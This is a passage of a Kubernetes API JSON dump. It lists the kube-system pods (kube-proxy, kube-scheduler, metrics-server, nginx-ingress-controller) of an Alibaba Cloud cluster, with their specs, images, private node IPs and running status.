or\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:43Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:43Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"}],\"hostIP\":\"192.168.0.153\",\"podIP\":\"192.168.0.153\",\"podIPs\":[{\"ip\":\"192.168.0.153\"}],\"startTime\":\"2020-04-08T04:12:31Z\",\"containerStatuses\":[{\"name\":\"kube-proxy-worker\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:43Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-proxy@sha256:7d98f65fc3518b384b0fd047a3249f6ea2546168a69a78ef750d80866d1aa0de\",\"containerID\":\"docker://7c58ea1cb003d9ae74cd29eba230e3c0371991db11e36a2ce304759ce22efff3\",\"started\":true}],\"qosClass\":\"BestEffort\"}},{\"metadata\":{\"name\":\"kube-scheduler-cn-beijing.192.168.0.150\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-scheduler-cn-beijing.192.168.0.150\",\"uid\":\"8ef35ac0-0b9a-407c-a4f3-8e18c597a0c3\",\"resourceVersion\":\"35736340\",\"creationTimestamp\":\"2020-04-08T04:05:16Z\",\"labels\":{\"component\":\"kube-scheduler\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/config.hash\":\"fb6b595bf06e476799e506ef26ec872f\",\"kubernetes.io/config.mirror\":\"fb6b595bf06e476799e506ef26ec872f\",\"kubernetes.io/config.seen\":\"2020-04-08T12:05:05.300514759+08:00\",\"kubernetes.io/config.source\":\"file\"}},\"spec\":{\"volumes\":[{\"name\":\"kubeconfig\",\"hostPath\":{\"path\":\"/etc/kubernetes/scheduler.conf\",\"type\":\"FileOrCreate\"}},{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}}],\"containers\":[{\"name\":\"kube-scheduler\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-scheduler:v1.16.6-aliyun.1\",\"command\":[\"kube-scheduler\",\"--authentication-kubeconfig=/etc/kubernetes/scheduler.conf\",\"--authorization-kubeconfig=/etc/kubernetes/scheduler.conf\",\"--bind-address=127.0.0.1\",\"--kubeconfig=/etc/kubernetes/scheduler.conf\",\"--leader-elect=true\",\"--profiling=false\"],\"resources\":{\"requests\":{\"cpu\":\"100m\"}},\"volumeMounts\":[{\"name\":\"kubeconfig\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/scheduler.conf\"},{\"name\":\"localtime\",\"mountPath\":\"/etc/localtime\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10251,\"host\":\"127.0.0.1\",\"scheme\":\"HTTP\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeName\":\"cn-beijing.192.168.0.150\",\"hostNetwork\":true,\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\",\"effect\":\"NoExecute\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:25Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:27Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:27Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:25Z\"}],\"hostIP\":\"192.168.0.150\",\"podIP\":\"192.168.0.150\",\"podIPs\":[{\"ip\":\"192.168.0.150\"}],\"startTime\":\"2020-09-10T07:23:25Z\",\"containerStatuses\":[{\"name\":\"kube-scheduler\",\"state\":{\"running\":{\"startedAt\":\"2020-09-10T07:23:26Z\"}},\"lastState\":{\"terminated\":{\"exitCode\":255,\"reason\":\"Error\",\"startedAt\":\"2020-04-08T04:05:17Z\",\"finishedAt\":\"2020-09-10T07:23:17Z\",\"containerID\":\"docker://cd2fbdf2a0b47875d8714ce3859add7ce1c2869baedf2d15012c1b57b2ab4bdc\"}},\"ready\":true,\"restartCount\":2,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-scheduler:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-scheduler@sha256:ca6c8fdb476ef0541b38da740a11f7e7ccd01842bd0a3421ffb62b4aa1eadcb4\",\"containerID\":\"docker://6cf0fd06830849a8f4db52213fba2fd59dc3e3aac74b04dbea43f93106888bfb\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-scheduler-cn-beijing.192.168.0.151\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-scheduler-cn-beijing.192.168.0.151\",\"uid\":\"2db5e97f-8bc3-480b-abf9-2483180990e2\",\"resourceVersion\":\"645\",\"creationTimestamp\":\"2020-04-08T04:08:23Z\",\"labels\":{\"component\":\"kube-scheduler\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/config.hash\":\"fb6b595bf06e476799e506ef26ec872f\",\"kubernetes.io/config.mirror\":\"fb6b595bf06e476799e506ef26ec872f\",\"kubernetes.io/config.seen\":\"2020-04-08T12:06:53.834365706+08:00\",\"kubernetes.io/config.source\":\"file\"}},\"spec\":{\"volumes\":[{\"name\":\"kubeconfig\",\"hostPath\":{\"path\":\"/etc/kubernetes/scheduler.conf\",\"type\":\"FileOrCreate\"}},{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}}],\"containers\":[{\"name\":\"kube-scheduler\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-scheduler:v1.16.6-aliyun.1\",\"command\":[\"kube-scheduler\",\"--authentication-kubeconfig=/etc/kubernetes/scheduler.conf\",\"--authorization-kubeconfig=/etc/kubernetes/scheduler.conf\",\"--bind-address=127.0.0.1\",\"--kubeconfig=/etc/kubernetes/scheduler.conf\",\"--leader-elect=true\",\"--profiling=false\"],\"resources\":{\"requests\":{\"cpu\":\"100m\"}},\"volumeMounts\":[{\"name\":\"kubeconfig\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/scheduler.conf\"},{\"name\":\"localtime\",\"mountPath\":\"/etc/localtime\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10251,\"host\":\"127.0.0.1\",\"scheme\":\"HTTP\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeName\":\"cn-beijing.192.168.0.151\",\"hostNetwork\":true,\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\",\"effect\":\"NoExecute\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:06:57Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:06:57Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:06:57Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:06:57Z\"}],\"hostIP\":\"192.168.0.151\",\"podIP\":\"192.168.0.151\",\"podIPs\":[{\"ip\":\"192.168.0.151\"}],\"startTime\":\"2020-04-08T04:06:57Z\",\"containerStatuses\":[{\"name\":\"kube-scheduler\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:06:43Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-scheduler:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-scheduler@sha256:ca6c8fdb476ef0541b38da740a11f7e7ccd01842bd0a3421ffb62b4aa1eadcb4\",\"containerID\":\"docker://75c278c7ac29095b0f6114bf475ddb37152f36eb037244a9c21d82b606dc556a\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-scheduler-cn-beijing.192.168.0.152\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-scheduler-cn-beijing.192.168.0.152\",\"uid\":\"e620619d-c1d3-4343-9acf-94acf759307f\",\"resourceVersion\":\"915\",\"creationTimestamp\":\"2020-04-08T04:09:59Z\",\"labels\":{\"component\":\"kube-scheduler\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/config.hash\":\"fb6b595bf06e476799e506ef26ec872f\",\"kubernetes.io/config.mirror\":\"fb6b595bf06e476799e506ef26ec872f\",\"kubernetes.io/config.seen\":\"2020-04-08T12:08:40.982082844+08:00\",\"kubernetes.io/config.source\":\"file\",\"kubernetes.io/psp\":\"ack.privileged\"}},\"spec\":{\"volumes\":[{\"name\":\"kubeconfig\",\"hostPath\":{\"path\":\"/etc/kubernetes/scheduler.conf\",\"type\":\"FileOrCreate\"}},{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}}],\"containers\":[{\"name\":\"kube-scheduler\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-scheduler:v1.16.6-aliyun.1\",\"command\":[\"kube-scheduler\",\"--authentication-kubeconfig=/etc/kubernetes/scheduler.conf\",\"--authorization-kubeconfig=/etc/kubernetes/scheduler.conf\",\"--bind-address=127.0.0.1\",\"--kubeconfig=/etc/kubernetes/scheduler.conf\",\"--leader-elect=true\",\"--profiling=false\"],\"resources\":{\"requests\":{\"cpu\":\"100m\"}},\"volumeMounts\":[{\"name\":\"kubeconfig\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/scheduler.conf\"},{\"name\":\"localtime\",\"mountPath\":\"/etc/localtime\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10251,\"host\":\"127.0.0.1\",\"scheme\":\"HTTP\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeName\":\"cn-beijing.192.168.0.152\",\"hostNetwork\":true,\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\",\"effect\":\"NoExecute\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:44Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:44Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:44Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:44Z\"}],\"hostIP\":\"192.168.0.152\",\"podIP\":\"192.168.0.152\",\"podIPs\":[{\"ip\":\"192.168.0.152\"}],\"startTime\":\"2020-04-08T04:08:44Z\",\"containerStatuses\":[{\"name\":\"kube-scheduler\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:08:31Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-scheduler:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-scheduler@sha256:ca6c8fdb476ef0541b38da740a11f7e7ccd01842bd0a3421ffb62b4aa1eadcb4\",\"containerID\":\"docker://cd96ddf6bcedd5271222e33136a72bd7e766810d8af2d079c57bee0fecb8b067\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"metrics-server-54575fbd57-rf9bl\",\"generateName\":\"metrics-server-54575fbd57-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/metrics-server-54575fbd57-rf9bl\",\"uid\":\"fc0694b4-e460-4d4f-80ad-459dd76579c3\",\"resourceVersion\":\"2056\",\"creationTimestamp\":\"2020-04-08T04:12:30Z\",\"labels\":{\"k8s-app\":\"metrics-server\",\"pod-template-hash\":\"54575fbd57\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"ReplicaSet\",\"name\":\"metrics-server-54575fbd57\",\"uid\":\"8a03af3b-50aa-4e89-a0c6-b40dabf52220\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"admin-token-t8m2n\",\"secret\":{\"secretName\":\"admin-token-t8m2n\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"metrics-server\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/metrics-server:v0.2.1-9dd9511-aliyun\",\"command\":[\"/metrics-server\",\"--source=kubernetes:https://kubernetes.default\",\"--sink=socket:tcp://monitor.csk.cn-beijing.aliyuncs.com:8093?clusterId=ca3869bd4dd884799a5abbb00c5e56fc4\\u0026public=true\"],\"resources\":{\"limits\":{\"cpu\":\"4\",\"memory\":\"8Gi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"200Mi\"}},\"volumeMounts\":[{\"name\":\"admin-token-t8m2n\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"tcpSocket\":{\"port\":443},\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"readinessProbe\":{\"tcpSocket\":{\"port\":443},\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"Always\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_RAW\",\"NET_BIND_SERVICE\"],\"drop\":[\"ALL\"]}}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"serviceAccountName\":\"admin\",\"serviceAccount\":\"admin\",\"nodeName\":\"cn-beijing.192.168.0.155\",\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:48Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:29Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:29Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:48Z\"}],\"hostIP\":\"192.168.0.155\",\"podIP\":\"172.20.0.199\",\"podIPs\":[{\"ip\":\"172.20.0.199\"}],\"startTime\":\"2020-04-08T04:12:48Z\",\"containerStatuses\":[{\"name\":\"metrics-server\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:13:22Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/metrics-server:v0.2.1-9dd9511-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/metrics-server@sha256:a8b5b9eb3964d508dbc2edd7b7b980633c55c24eadb5852c183c21782b67515d\",\"containerID\":\"docker://e1b6d1656a432be53cd23ebd02c75d8249556a8976e9fb4c312c94480aaae195\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"nginx-ingress-controller-5495b9fccf-6q5z2\",\"generateName\":\"nginx-ingress-controller-5495b9fccf-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/nginx-ingress-controller-5495b9fccf-6q5z2\",\"uid\":\"93add848-e132-43d0-bb85-0d953778e46c\",\"resourceVersion\":\"2135\",\"creationTimestamp\":\"2020-04-08T04:12:32Z\",\"labels\":{\"app\":\"ingress-nginx\",\"pod-template-hash\":\"5495b9fccf\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"prometheus.io/port\":\"10254\",\"prometheus.io/scrape\":\"true\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"ReplicaSet\",\"name\":\"nginx-ingress-controller-5495b9fccf\",\"uid\":\"8d75401f-617c-40e9-a026-25418af036ff\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"File\"}},{\"name\":\"nginx-ingress-controller-token-whd5r\",\"secret\":{\"secretName\":\"nginx-ingress-controller-token-whd5r\",\"defaultMode\":420}}],\"initContainers\":[{\"name\":\"init-sysctl\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/busybox:v1.29.2\",\"command\":[\"/bin/sh\",\"-c\",\"mount -o remount rw /proc/sys\\nsysctl -w net.core.somaxconn=65535\\nsysctl -w net.ipv4.ip_local_port_range=\\\"1024 65535\\\"\\nsysctl -w fs.file-max=1048576\\nsysctl -w fs.inotify.max_user_instances=16384\\nsysctl -w fs.inotify.max_user_watches=524288\\nsysctl -w fs.inotify.max_queued_events=16384\\n\"],\"resources\":{},\"volumeMounts\":[{\"name\":\"nginx-ingress-controller-token-whd5r\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"SYS_ADMIN\"],\"drop\":[\"ALL\"]}}}],\"containers\":[{\"name\":\"nginx-ingress-controller\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller:v0.30.0.1-5f89cb606-aliyun\",\"args\":[\"/nginx-ingress-controller\",\"--configmap=$(POD_NAMESPACE)/nginx-configuration\",\"--tcp-services-configmap=$(POD_NAMESPACE)/tcp-services\",\"--udp-services-configmap=$(POD_NAMESPACE)/udp-services\",\"--annotations-prefix=nginx.ingress.kubernetes.io\",\"--publish-service=$(POD_NAMESPACE)/nginx-ingress-lb\",\"--v=2\"],\"ports\":[{\"name\":\"http\",\"containerPort\":80,\"protocol\":\"TCP\"},{\"name\":\"https\",\"containerPort\":443,\"protocol\":\"TCP\"}],\"env\":[{\"name\":\"POD_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.name\"}}},{\"name\":\"POD_NAMESPACE\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.namespace\"}}}],\"resources\":{\"requests\":{\"cpu\":\"100m\",\"memory\":\"70Mi\"}},\"volumeMounts\":[{\"name\":\"localtime\",\"readOnly\":true,\"mountPath\":\"/etc/localtime\"},{\"name\":\"nginx-ingress-controller-token-whd5r\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10254,\"scheme\":\"HTTP\"},\"initialDelaySeconds\":10,\"timeoutSeconds\":10,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"readinessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10254,\"scheme\":\"HTTP\"},\"timeoutSeconds\":10,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_BIND_SERVICE\"],\"drop\":[\"ALL\"]},\"runAsUser\":101}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"nginx-ingress-controller\",\"serviceAccount\":\"nginx-ingress-controller\",\"nodeName\":\"cn-beijing.192.168.0.155\",\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchExpressions\":[{\"key\":\"type\",\"operator\":\"NotIn\",\"values\":[\"virtual-kubelet\"]}]}]}},\"podAntiAffinity\":{\"preferredDuringSchedulingIgnoredDuringExecution\":[{\"weight\":100,\"podAffinityTerm\":{\"labelSelector\":{\"matchExpressions\":[{\"key\":\"app\",\"operator\":\"In\",\"values\":[\"ingress-nginx\"]}]},\"topologyKey\":\"kubernetes.io/hostname\"}}]}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:03Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:43Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:43Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:46Z\"}],\"hostIP\":\"192.168.0.155\",\"podIP\":\"172.20.0.197\",\"podIPs\":[{\"ip\":\"172.20.0.197\"}],\"startTime\":\"2020-04-08T04:12:46Z\",\"initContainerStatuses\":[{\"name\":\"init-sysctl\",\"state\":{\"terminated\":{\"exitCode\":0,\"reason\":\"Completed\",\"startedAt\":\"2020-04-08T04:13:03Z\",\"finishedAt\":\"2020-04-08T04:13:03Z\",\"containerID\":\"docker://fa0bc6f12f5f04b95c3bca042e7c44b856988fb20dca26b48db60eab9b3d0841\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/busybox:v1.29.2\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/busybox@sha256:5e8e0509e829bb8f990249135a36e81a3ecbe94294e7a185cc14616e5fad96bd\",\"containerID\":\"docker://fa0bc6f12f5f04b95c3bca042e7c44b856988fb20dca26b48db60eab9b3d0841\"}],\"containerStatuses\":[{\"name\":\"nginx-ingress-controller\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:13:34Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller:v0.30.0.1-5f89cb606-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller@sha256:bef118e653cfd65dc097009981e49cd651539627b8f90b5c22fe4d90d5e2e679\",\"containerID\":\"docker://fdd7e693a5231fb6415b9713fc3699b39d8f1a8f72c1cf092bbd7461c4af3078\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"nginx-ingress-controller-5495b9fccf-dtr8n\",\"generateName\":\"nginx-ingress-controller-5495b9fccf-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/nginx-ingress-controller-5495b9fccf-dtr8n\",\"uid\":\"39813f36-d2af-44e6-950e-3a6accc5575b\",\"resourceVersion\":\"2116\",\"creationTimestamp\":\"2020-04-08T04:12:32Z\",\"labels\":{\"app\":\"ingress-nginx\",\"pod-template-hash\":\"5495b9fccf\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"prometheus.io/port\":\"10254\",\"prometheus.io/scrape\":\"true\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"ReplicaSet\",\"name\":\"nginx-ingress-controller-5495b9fccf\",\"uid\":\"8d75401f-617c-40e9-a026-25418af036ff\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"File\"}},{\"name\":\"nginx-ingress-controller-token-whd5r\",\"secret\":{\"secretName\":\"nginx-ingress-controller-token-whd5r\",\"defaultMode\":420}}],\"initContainers\":[{\"name\":\"init-sysctl\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/busybox:v1.29.2\",\"command\":[\"/bin/sh\",\"-c\",\"mount -o remount rw /proc/sys\\nsysctl -w net.core.somaxconn=65535\\nsysctl -w net.ipv4.ip_local_port_range=\\\"1024 65535\\\"\\nsysctl -w fs.file-max=1048576\\nsysctl -w fs.inotify.max_user_instances=16384\\nsysctl -w fs.inotify.max_user_watches=524288\\nsysctl -w fs.inotify.max_queued_events=16384\\n\"],\"resources\":{},\"volumeMounts\":[{\"name\":\"nginx-ingress-controller-token-whd5r\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"SYS_ADMIN\"],\"drop\":[\"ALL\"]}}}],\"containers\":[{\"name\":\"nginx-ingress-controller\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller:v0.30.0.1-5f89cb606-aliyun\",\"args\":[\"/nginx-ingress-controller\",\"--configmap=$(POD_NAMESPACE)/nginx-configuration\",\"--tcp-services-configmap=$(POD_NAMESPACE)/tcp-services\",\"--udp-services-configmap=$(POD_NAMESPACE)/udp-services\",\"--annotations-prefix=nginx.ingress.kubernetes.io\",\"--publish-service=$(POD_NAMESPACE)/nginx-ingress-lb\",\"--v=2\"],\"ports\":[{\"name\":\"http\",\"containerPort\":80,\"protocol\":\"TCP\"},{\"name\":\"https\",\"containerPort\":443,\"protocol\":\"TCP\"}],\"env\":[{\"name\":\"POD_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v